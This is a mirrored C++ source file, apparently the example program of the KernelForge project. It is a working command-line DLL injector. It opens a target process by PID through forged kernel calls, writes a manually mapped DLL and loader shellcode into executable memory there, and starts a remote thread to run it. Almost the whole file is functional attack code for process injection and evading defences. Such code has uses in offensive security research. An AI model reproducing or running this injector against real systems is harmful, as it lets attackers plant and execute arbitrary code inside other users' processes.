mirror of
https://github.com/Cr4sh/KernelForge
synced 2026-06-08 10:43:38 +00:00
346 lines
11 KiB
C++
346 lines
11 KiB
C++
#include "stdafx.h"
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL DllInject(HANDLE ProcessId, PVOID Data, DWORD dwDataSize)
|
|
{
|
|
BOOL bRet = FALSE;
|
|
|
|
PVOID Image = NULL;
|
|
DWORD dwImageSize = 0;
|
|
|
|
DWORD_PTR Status = STATUS_UNSUCCESSFUL;
|
|
HANDLE hProcess = NULL, hThread = NULL;
|
|
PVOID ImageAddr = NULL, ShellcodeAddr = NULL;
|
|
SIZE_T ImageSize = 0, InjectStructSize = 0;
|
|
|
|
// map image sections to the memory
|
|
if (!LdrMapImage(Data, dwDataSize, &Image, &dwImageSize))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: LdrMapImage() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// calculate shellcode and DLL_INJECT_STRUCT size
|
|
DWORD dwShellcodeSize = (DWORD)((DWORD_PTR)&dll_inject_End - (DWORD_PTR)&dll_inject_Entry);
|
|
DWORD dwInjectStructSize = sizeof(DLL_INJECT_STRUCT) + dwShellcodeSize;
|
|
|
|
DbgMsg(__FILE__, __LINE__, "DLL inject shellcode size is %d bytes\n", dwInjectStructSize);
|
|
|
|
PDLL_INJECT_STRUCT InjectStruct = (PDLL_INJECT_STRUCT)M_ALLOC(dwInjectStructSize);
|
|
if (InjectStruct == NULL)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError());
|
|
goto _end;
|
|
}
|
|
|
|
CopyMemory(InjectStruct->Shellcode, &dll_inject_Entry, dwShellcodeSize);
|
|
|
|
CLIENT_ID ClientId;
|
|
OBJECT_ATTRIBUTES ObjAttr;
|
|
|
|
ImageSize = dwImageSize;
|
|
InjectStructSize = dwInjectStructSize;
|
|
|
|
InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
|
|
|
ClientId.UniqueProcess = ProcessId;
|
|
ClientId.UniqueThread = NULL;
|
|
|
|
PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
|
|
KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
|
|
KF_ARG(&ObjAttr), // ObjectAttributes
|
|
KF_ARG(&ClientId) }; // ClientId
|
|
|
|
// open the target process
|
|
if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwOpenProcess() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(&ImageAddr), // BaseAddress
|
|
KF_ARG(0), // ZeroBits
|
|
KF_ARG(&ImageSize), // RegionSize
|
|
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
|
|
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
|
|
|
|
// allocate memory for the DLL image
|
|
if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
DbgMsg(__FILE__, __LINE__, "DLL image memory was allocated at "IFMT"\n", ImageAddr);
|
|
|
|
// relocate DLL image file to the new base address
|
|
if (!LdrProcessRelocs(Image, ImageAddr))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: LdrProcessRelocs() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
// set proper size once again, ZwAllocateVirtualMemory() may round it
|
|
ImageSize = dwImageSize;
|
|
|
|
PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(ImageAddr), // BaseAddress
|
|
KF_ARG(Image), // Buffer
|
|
KF_ARG(ImageSize), // NumberOfBytesToWrite
|
|
KF_ARG(NULL) }; // NumberOfBytesWritten
|
|
|
|
// write DLL image into the process memory
|
|
if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(&ShellcodeAddr), // BaseAddress
|
|
KF_ARG(0), // ZeroBits
|
|
KF_ARG(&InjectStructSize), // RegionSize
|
|
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
|
|
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
|
|
|
|
// allocate memory for the shellcode
|
|
if (!KfCall("ZwAllocateVirtualMemory", Args_4, 6, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
DbgMsg(__FILE__, __LINE__, "Shellcode memory was allocated at "IFMT"\n", ShellcodeAddr);
|
|
|
|
// set proper size once again, ZwAllocateVirtualMemory() may round it
|
|
InjectStructSize = dwInjectStructSize;
|
|
InjectStruct->ModuleBase = ImageAddr;
|
|
|
|
PVOID Args_5[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(ShellcodeAddr), // BaseAddress
|
|
KF_ARG(InjectStruct), // Buffer
|
|
KF_ARG(InjectStructSize), // NumberOfBytesToWrite
|
|
KF_ARG(NULL) }; // NumberOfBytesWritten
|
|
|
|
// write shellcode into the process memory
|
|
if (!KfCall("ZwWriteVirtualMemory", Args_5, 5, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
PVOID StartAddress = RVATOVA(ShellcodeAddr, FIELD_OFFSET(DLL_INJECT_STRUCT, Shellcode));
|
|
|
|
PVOID Args_6[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(NULL), // SecurityDescriptor
|
|
KF_ARG(FALSE), // CreateSuspended
|
|
KF_ARG(0), // StackZeroBits
|
|
KF_ARG(NULL), // StackReserved
|
|
KF_ARG(NULL), // StackCommit
|
|
KF_ARG(StartAddress), // StartAddress
|
|
KF_ARG(ShellcodeAddr), // StartParameter
|
|
KF_ARG(&hThread), // ThreadHandle
|
|
KF_ARG(&ClientId) }; // ClientId
|
|
|
|
// create new thread to execute DLL load shellcode
|
|
if (!KfCall("RtlCreateUserThread", Args_6, 10, KF_RET(&Status)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
goto _end;
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "RtlCreateUserThread() ERROR 0x%.8x\n", Status);
|
|
goto _end;
|
|
}
|
|
|
|
if (hThread)
|
|
{
|
|
PVOID Args[] = { KF_ARG(hThread) };
|
|
|
|
// close created thread handle
|
|
if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
|
|
{
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
}
|
|
}
|
|
|
|
bRet = TRUE;
|
|
|
|
_end:
|
|
|
|
if (hProcess)
|
|
{
|
|
PVOID Args[] = { KF_ARG(hProcess) };
|
|
|
|
// close target process handle
|
|
if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
|
|
{
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
}
|
|
}
|
|
|
|
if (NT_ERROR(Status))
|
|
{
|
|
// perform cleanup on error
|
|
if (ShellcodeAddr)
|
|
{
|
|
PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(&ShellcodeAddr), // BaseAddress
|
|
KF_ARG(&InjectStructSize), // RegionSize
|
|
KF_ARG(MEM_RELEASE) }; // FreeType
|
|
|
|
// free shellcode memory
|
|
if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
|
|
{
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
}
|
|
}
|
|
|
|
if (ImageAddr)
|
|
{
|
|
PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
|
|
KF_ARG(&ImageAddr), // BaseAddress
|
|
KF_ARG(&ImageSize), // RegionSize
|
|
KF_ARG(MEM_RELEASE) }; // FreeType
|
|
|
|
// free DLL image memory
|
|
if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
|
|
{
|
|
if (NT_ERROR(Status))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
|
|
}
|
|
}
|
|
}
|
|
|
|
if (InjectStruct)
|
|
{
|
|
M_FREE(InjectStruct);
|
|
}
|
|
|
|
if (Image)
|
|
{
|
|
M_FREE(Image);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
int _tmain(int argc, _TCHAR* argv[])
|
|
{
|
|
int Ret = -1;
|
|
|
|
if (argc < 3)
|
|
{
|
|
printf("USAGE: kforge_example.exe <PID> <DLL_path>\n");
|
|
return -1;
|
|
}
|
|
|
|
HANDLE ProcessId = 0;
|
|
char *lpszPath = argv[2];
|
|
|
|
// read target process id
|
|
if (!StrToIntEx(argv[1], 0, (int *)&ProcessId))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: Invalid PID\n");
|
|
return -1;
|
|
}
|
|
|
|
DbgMsg(__FILE__, __LINE__, "Target process PID = %I64d\n", ProcessId);
|
|
|
|
PVOID Data = NULL;
|
|
DWORD dwDataSize = 0;
|
|
|
|
// read DLL image file contents
|
|
if (!ReadFromFile(lpszPath, &Data, &dwDataSize))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: Can't read DLL image file\n");
|
|
return -1;
|
|
}
|
|
|
|
DbgMsg(__FILE__, __LINE__, "%d bytes of DLL image read from %s\n", dwDataSize, lpszPath);
|
|
|
|
// initialize kernel forge library
|
|
if (KfInit())
|
|
{
|
|
// perform DLL injection
|
|
if (DllInject(ProcessId, Data, dwDataSize))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "DLL was successfully injected!\n");
|
|
|
|
Ret = 0;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ERROR: DllInject() fails\n");
|
|
}
|
|
|
|
// uninitialize the library
|
|
KfUninit();
|
|
}
|
|
|
|
M_FREE(Data);
|
|
|
|
return Ret;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
// EoF
|